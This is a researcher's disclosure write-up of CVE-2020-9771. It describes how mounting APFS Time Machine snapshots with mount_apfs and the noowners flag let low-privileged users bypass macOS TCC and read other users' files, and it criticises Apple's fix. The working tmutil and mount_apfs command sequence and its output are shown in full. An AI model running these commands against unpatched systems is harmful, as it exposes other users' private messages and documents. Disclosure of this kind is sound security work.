CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation

TL;DR

We could mount the entire file system through APFS snapshots as read-only, with the noowners flag, which enables us accessing (almost) every file in the file system, including data (documents, files, etc…) of every user on the system, including those protected by Apple’s privacy framework (TCC). Even with the Guest account we could read files of admin accounts as Guest! 😱

This could be achieved with a single command, for example: mount_apfs -o noowners -s http://com.apple.TimeMachine.2019-11-17-141812.local /System/Volumes/Data /tmp/snap

This has been fixed in macOS Catalina 10.15.4 and on Mojave on the 26th of May.

The Issues

There were two separate issues in this bug, and the combination of those became a very powerful system wide access.

  1. TCC privacy is not enforced on mounted local snapshots allowing someone to mount it and access any file inside, including those normally privacy protected
  2. Initiating an APFS snapshot is available for all users, even low privileged ones, as well as listing of those. Beyond that, all users can mount local APFS snapshots, even a low privilege ones, and if used with the noowners flag, the low privilege user can access all data through the local snapshot, including every other users’ data (even high privileged one).

1. Privacy bypass

From Terminal we can get a list of local snapshots available:

% tmutil listlocalsnapshots /System/Volumes/Data
Snapshots for volume group containing disk /System/Volumes/Data:
com.apple.TimeMachine.2019-11-15-202744.local
com.apple.TimeMachine.2019-11-16-135116.local
com.apple.TimeMachine.2019-11-16-145028.local
com.apple.TimeMachine.2019-11-16-162241.local
com.apple.TimeMachine.2019-11-16-182353.local
com.apple.TimeMachine.2019-11-16-214156.local
com.apple.TimeMachine.2019-11-17-112126.local
com.apple.TimeMachine.2019-11-17-122313.local

We can mount one:

csaby@mac ~ % /sbin/mount_apfs -o nobrowse,ro -s com.apple.TimeMachine.2019-11-16-182353.local /System/Volumes/Data /tmp/snap

If we navigate the user’s folder, we will be able access locations which our protected by TCC.

csaby@mac ~ % ls -l /tmp/snap/Users/csaby/Library/Messages 
total 6224
drwx———@ 12 csaby  staff      384 Nov  6 13:56 Archive
drwx———  22 csaby  staff      704 Nov 13 20:22 Attachments
drwx———   4 csaby  staff      128 Nov  7 20:30 StickerCache
-rw-r———r———   1 csaby  staff   491520 Nov 16 08:19 chat.db
-rw-r———r———   1 csaby  staff    32768 Nov 15 14:43 chat.db-shm
-rw-r———r———   1 csaby  staff   436752 Nov 16 17:32 chat.db-wal
-rw-r———r———   1 csaby  staff    32768 Nov  4 09:36 prewarm.db
-rw-r———r———   1 csaby  staff    32768 Nov 16 08:09 prewarm.db-shm
-rw-r———r———   1 csaby  staff  1520312 Nov 16 08:09 prewarm.db-wal

if we compare it with standard access, it is not permitted:

csaby@mac ~ % ls -l /Users/csaby/Library/Messages
ls: Messages: Operation not permitted

This is an issue as we can access every file through the local snapshot mountpoint.

We can also force the creation of a snapshot if there is no one:

csaby@mac ~ % tmutil localsnapshot
Created local snapshot with date: 2019-11-17-140728

In short with mount_apfs we can completely bypass privacy protected folders.

2. “Privilege escalation”

Although this method is not a full privilege escalation, as we don’t get higher privileges, however we can access files that belong to higher privilege users, and with the previous finding, this will include TCC protected data.

First, as a low privilege user we can create a local snapshot, and later list it to get its ID (this is not a bug). Although the second is not a hard requirement, as its ID can be figured out based on the time. Also snapshots are auto created by the system, so even if we can’t create one we can find one, and its ID is guessable, because it uses the following format: yyyy-mm-dd-hhmmss.

Here follows the demonstration of the issue. This is the low privileged ID I used:

% id                       
uid=502(n00b) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),100(_lpoperator),702(com.apple.sharepoint.group.2),701(com.apple.sharepoint.group.1)

To show that it doesn’t have access to other user’s folder (where by-the-way, csaby is an admin user):

n00b@mac Messages % ls -l /Users/csaby/Library 
ls: Library: Permission denied

Let’s create and list local snapshots:

n00b@mac Messages % tmutil localsnapshot
Created local snapshot with date: 2019-11-17-141812

% tmutil listlocalsnapshots /
Snapshots for volume group containing disk /:
com.apple.TimeMachine.2019-11-17-133110.local
com.apple.TimeMachine.2019-11-17-133316.local
com.apple.TimeMachine.2019-11-17-141812.local

We can mount the snapshot with noowners, which according to the manpage means:

Ignore the ownership field for the entire volume. This causes all objects to appear as owned by user ID 99 and group ID 99. User ID 99 is interpreted as the current effective user ID, while group ID 99 is used directly and translates to `unknown’.

n00b@mac Messages % mount_apfs -o noowners -s com.apple.TimeMachine.2019-11-17-141812.local /System/Volumes/Data /tmp/snap
mount_apfs: snapshot implicitly mounted readonly

And finally we can access all data from there as the privileges set for our user:

% cd /tmp/snap/Users/csaby 
n00b@mac csaby % ls -l Library/Messages 
total 4704
-rw-r--r--  1 n00b  staff   258048 Nov  9 14:41 chat.db
-rw-r--r--  1 n00b  staff    32768 Nov 17 13:29 chat.db-shm
-rw-r--r--  1 n00b  staff  1507952 Nov  9 14:41 chat.db-wal

We can perform this attack even as a Guest account if FileVault is not turned ON. If FileVault is ON, Guest can only run Safari (after a reboot), and also the user data will be encrypted, so even if someone can break out the kiosk mode and start Terminal and run the above commands, he/she wouldn’t see the contents.

The “Fix” 😭

This requires some longer explanation as IMO the fix provided by Apple is not right.

At the beginning of March 2020, Apple said that the fix is shipped in Catalina 10.15.4 beta, they didn’t tell a word how they fixed it. I quickly jumped on it, and I found that the trick still works. I was puzzled. After some testing it turned out that they tied this to the Full Disk Access (FDA) right in TCC (kTCCServiceSystemPolicyAllfiles), which I found wrong. This is what I wrote them on the 13th of March:

I did one more test and turned off “Full Disk Access” for Terminal, and then it indeed stopped working. I don’t consider this as a fix, relaying on TCC stopping this is a bad move in my opinion, most people will have Terminal set to “Full Disk Access”.

This still violates the basic BSD security model, as you can read other user’s file, without elevating to root. Even if SIP is OFF and Terminal has “Full Disk Access”, you shouldn’t be able to mount anything with “noowners” unless you are root. **The mount operation itself should fail.**If you think about it: Even if SIP is ON and Terminal has Full Disk Access, you can’t see other user’s files with it - with this vulnerability you can.

“Full Disk Access” TCC setting is global, which means that if an admin user enables this, a low privileged user can use Terminal to access the admin user’s files.

I got a reply the same day:

Thank you for providing additional information. We will investigate.

After this point we went into, what I call “black hole mode”, I never got replies to my emails, and than CVE-2020-9771 became public on the 26th of May. They shipped the fix to Mojave on that day (https://support.apple.com/en-us/HT211170), and retroactively updated the 10.15.4 security notes the same day with this CVE (https://support.apple.com/en-us/HT211100). I tested this again, and I found the same behavior. At this point I still didn’t know if they considered this fixed or not, as no one came back to me. Their description “This issue was addressed with a new entitlement.” is extremely misleading.

I sent an email again on May 27th (still in “black hole mode”):

I want to ask again if you consider this fixed via controlling this “exploit” via the “Full Disk Access” permission in TCC. As noted earlier I think it’s not right.

Finally on the 29th of June I got a reply:

This issue was addressed with macOS Catalina 10.15.5 and assigned CVE-2020-9771 -> https://support.apple.com/HT211170 . We are not planning any additional changes in this area.

macOS Catalina has improvements which have reduced the need for applications run through Terminal to require Full-Disk Access, and it should not be enabled by a user unless necessary.

That’s it, not much I can do about this anymore, I only hope that it will get enough public attention, with many disappointed users about the fix, that 🍎 will reconsider the fix.

Conclusion

The “Full Disk Access” right starts to get too much power these days, beyond controlling file access now it controls mounting, and also EndpointSecurity extensions.

This means that a user must be extremely careful which app is granted FDA right, because that will be able to access every user file on the system. If we grant for example Terminal this right, a low privilege user will be able to read our files through the app.

So until this is changed, please triple check what gets this right and what not.